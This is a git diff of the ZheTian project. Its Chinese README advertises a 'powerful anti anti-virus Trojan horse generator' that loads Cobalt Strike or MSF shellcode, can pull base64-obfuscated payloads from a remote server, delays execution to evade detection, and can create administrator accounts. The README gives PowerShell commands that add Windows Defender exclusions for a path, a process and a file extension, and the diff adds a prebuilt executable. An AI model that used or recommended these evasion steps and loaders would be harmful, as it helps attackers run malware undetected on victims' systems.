diff --git a/README.md b/README.md index 1fe0d7c..d6a344e 100644 --- a/README.md +++ b/README.md @@ -1,27 +1,40 @@ -![my-logo.png](https://raw.githubusercontent.com/yqcs/ZheTian/master/images/logo.png "my-logo") +![logo](images/logo.png) +# ::ZheTian Powerful Anti Anti-Virus Trojan horse generator / 强大的免杀木马生成器 -# [ZheTian](https://github.com/yqcs/ZheTian/) +## 全新V2上线，Bypass All. -## ZheTian Powerful remote load and execute ShellCode tool，ShellCode免杀加载器 -### 命令： +### V2版本支持Cobalt Strike、MSF原生Shellcode，无需任何处理即可直接使用，指令： +> -o string：选中payload，向同级目录生成一个可执行程序（无需go语言环境） +> +> -m int：选择要生成的系统架构，参数选择32和64，默认选中了64 +> +系统依旧采用了“慢加载”方式，运行约十五秒后才开始执行上线操作 + +![v2](images/v2.png) + +---- + +### V1： +![v1](images/v1.png) +### 参数： > -u string：从远程服务器加载base64混淆后的字符串。 > > -r string：从本地文件内读。 > > -s string：读取无修改的原始文件，只能从本地加载。 > ->-o boolean：向userHome\tmp目录输出一次性可执行文件，体积比主程序小了五六倍，砍去了其他功能，只保留了ShellCode Loader +> -o boolean：向userHome\tmp目录输出一次性可执行文件，体积比主程序小了五六倍，砍去了其他功能，只保留了ShellCode Loader > ->-n string：向管理员组创建用户，-n的参数即为账户，-p的参数为密码。需以管理员身份运行 +> -n string：向管理员组创建用户，-n的参数即为账户，-p的参数为密码。需以管理员身份运行 > ->-c string：直接从命令行获取base64字符串。如：ZheTian -c ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M==... +> -c string：直接从命令行获取base64字符串。如：ZheTian -c ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M==... > -## 示例： +#### 运行示例： -### Base64字符串方式加载： +#### Base64字符串方式加载： 原始python代码： > buf = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75..." @@ -42,22 +55,22 @@ c、ruby等同理，Java之流的则是去除 ", 0x"。注意，是逗号空格 获取到base64字符串之后可以选择放到远程服务器加载，使用-u 命令即可。也可以放到本地文件内，或者直接使用-c命令以命令行方式运行。如：ZheTian.exe -c ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ== -### 原文件读取类型： +##### 原文件读取类型： 使用 `ZheTian -h `命令可查看支持的语言。推荐使用Java、py、C语言。原文件无需进行任何修改即可直接加载，但是不支持放在远程服务器，只能通过本地 -s 命令读取，如： `ZheTian -s C:/Windows/Temp/payload.java` -### 图示操作过程 +##### 图示操作过程 先生成64位shellcode -![my-logo.png](https://github.com/yqcs/ZheTian/blob/master/images/payload.jpg "my-logo") +![payload](images/payload.jpg) 然后根据需要的命令进行修改 -![my-logo.png](https://raw.githubusercontent.com/yqcs/ZheTian/master/images/code.png "my-logo") +![code](images/code.png) 下面执行示例： -![my-logo.png](https://github.com/yqcs/ZheTian/blob/master/images/c.png "my-logo") +![run](images/run.png) ### 编译： @@ -68,7 +81,7 @@ ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ== 实现无窗口运行，但是360偶尔会识别为恶意程序 -#### 带图标编译： +### 带图标编译： > 先执行：go get github.com/akavel/rsrc > @@ -79,7 +92,7 @@ ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ== > 更多介绍：https://blog.csdn.net/qq_38376348/article/details/108318880 > -## 扩展：windows defender +## 扩展：Windows defender 由于ZheTian的defender免杀效果不稳定，在此推荐一种方式，执行下面命令会分别向defender添加白名单：目录、进程、类型文件 @@ -87,11 +100,11 @@ ZmM0ODgzZTRmMGU4Yzg4YjUyMjA4YjQyM2M0ODAxZDA2NjgxNzgxODBiMDI3NQ== > powershell -Command Add-MpPreference -ExclusionPath "C:\tmp" > ->powershell -Command Add-MpPreference -ExclusionProcess "java.exe" +> powershell -Command Add-MpPreference -ExclusionProcess "java.exe" > ->powershell -Command Add-MpPreference -ExclusionExtension ".java" +> powershell -Command Add-MpPreference -ExclusionExtension ".java" > -## 有问题可以提Issues，也可加微信联系 - -![my-logo.png](https://raw.githubusercontent.com/yqcs/ZheTian/master/images/wx.jpg "my-logo") +## 有问题加群反馈！！Issues 一概不处理！ + + \ No newline at end of file diff --git a/images/group.png b/images/group.png new file mode 100644 index 0000000..ae40363 Binary files /dev/null and b/images/group.png differ diff --git a/images/c.png b/images/run.png similarity index 100% rename from images/c.png rename to images/run.png diff --git a/images/1.png b/images/v1.png similarity index 100% rename from images/1.png rename to images/v1.png diff --git a/images/v2.png b/images/v2.png new file mode 100644 index 0000000..f514016 Binary files /dev/null and b/images/v2.png differ diff --git a/ZheTian.go b/v1/ZheTian.go similarity index 100% rename from ZheTian.go rename to v1/ZheTian.go diff --git a/ZheTian.manifest b/v1/ZheTian.manifest similarity index 100% rename from ZheTian.manifest rename to v1/ZheTian.manifest diff --git a/ZheTian.syso b/v1/ZheTian.syso similarity index 100% rename from ZheTian.syso rename to v1/ZheTian.syso diff --git a/favicon.ico b/v1/favicon.ico similarity index 100% rename from favicon.ico rename to v1/favicon.ico diff --git a/go.mod b/v1/go.mod similarity index 100% rename from go.mod rename to v1/go.mod diff --git a/go.sum b/v1/go.sum similarity index 100% rename from go.sum rename to v1/go.sum diff --git a/server/cmd.go b/v1/server/cmd.go similarity index 100% rename from server/cmd.go rename to v1/server/cmd.go diff --git a/server/loadFile.go b/v1/server/loadFile.go similarity index 100% rename from server/loadFile.go rename to v1/server/loadFile.go diff --git a/server/memoryInject.go b/v1/server/memoryInject.go similarity index 100% rename from server/memoryInject.go rename to v1/server/memoryInject.go diff --git a/server/netUserAdd.go b/v1/server/netUserAdd.go similarity index 100% rename from server/netUserAdd.go rename to v1/server/netUserAdd.go diff --git a/server/temp.go b/v1/server/temp.go similarity index 100% rename from server/temp.go rename to v1/server/temp.go diff --git a/server/utils.go b/v1/server/utils.go similarity index 100% rename from server/utils.go rename to v1/server/utils.go diff --git a/v2/ZheTian.go b/v2/ZheTian.go new file mode 100644 index 0000000..ba6569b --- /dev/null +++ b/v2/ZheTian.go @@ -0,0 +1,23 @@ +package main + +import ( + "fmt" +) + +func main() { + + fmt.Println(` +▒███████▒ ██░ ██ ▓█████▄▄▄█████▓ ██▓ ▄▄▄ ███▄ █ +▒ ▒ ▒ ▄▀░▓██░ ██▒▓█ ▀▓ ██▒ ▓▒▓██▒▒████▄ ██ ▀█ █ +░ ▒ ▄▀▒░ ▒██▀▀██░▒███ ▒ ▓██░ ▒░▒██▒▒██ ▀█▄ ▓██ ▀█ ██▒ + ▄▀▒ ░░▓█ ░██ ▒▓█ ▄░ ▓██▓ ░ ░██░░██▄▄▄▄██ ▓██▒ ▐▌██▒ +▒███████▒░▓█▒░██▓░▒████▒ ▒██▒ ░ ░██░ ▓█ ▓██▒▒██░ ▓██░ +░▒▒ ▓░▒░▒ ▒ ░░▒░▒░░ ▒░ ░ ▒ ░░ ░▓ ▒▒ ▓▒█░░ ▒░ ▒ ▒ +░░▒ ▒ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░ ▒ ░ ▒ ▒▒ ░░ ░░ ░ ▒░ +░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ▒ ░ ░ ▒ ░ ░ ░ + ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ +░ +:: ZheTian Powerful Anti Anti-Virus Trojan horse generator + //[Version 2.0.0] Github [http://github.com/yqcs/ZheTian]`) + +} diff --git a/v2/ZheTian.manifest b/v2/ZheTian.manifest new file mode 100644 index 0000000..22f9a2c --- /dev/null +++ b/v2/ZheTian.manifest @@ -0,0 +1,22 @@ + + + + + + + + + + \ No newline at end of file diff --git a/v2/ZheTian.syso b/v2/ZheTian.syso new file mode 100644 index 0000000..78ac701 Binary files /dev/null and b/v2/ZheTian.syso differ diff --git a/v2/ZheTianV2.exe b/v2/ZheTianV2.exe new file mode 100644 index 0000000..47415e0 Binary files /dev/null and b/v2/ZheTianV2.exe differ diff --git a/v2/favicon.ico b/v2/favicon.ico new file mode 100644 index 0000000..e89f01e Binary files /dev/null and b/v2/favicon.ico differ diff --git a/v2/go.mod b/v2/go.mod new file mode 100644 index 0000000..b73a5ed --- /dev/null +++ b/v2/go.mod @@ -0,0 +1,3 @@ +module ZheTian + +go 1.18 diff --git a/v2/go.sum b/v2/go.sum new file mode 100644 index 0000000..e69de29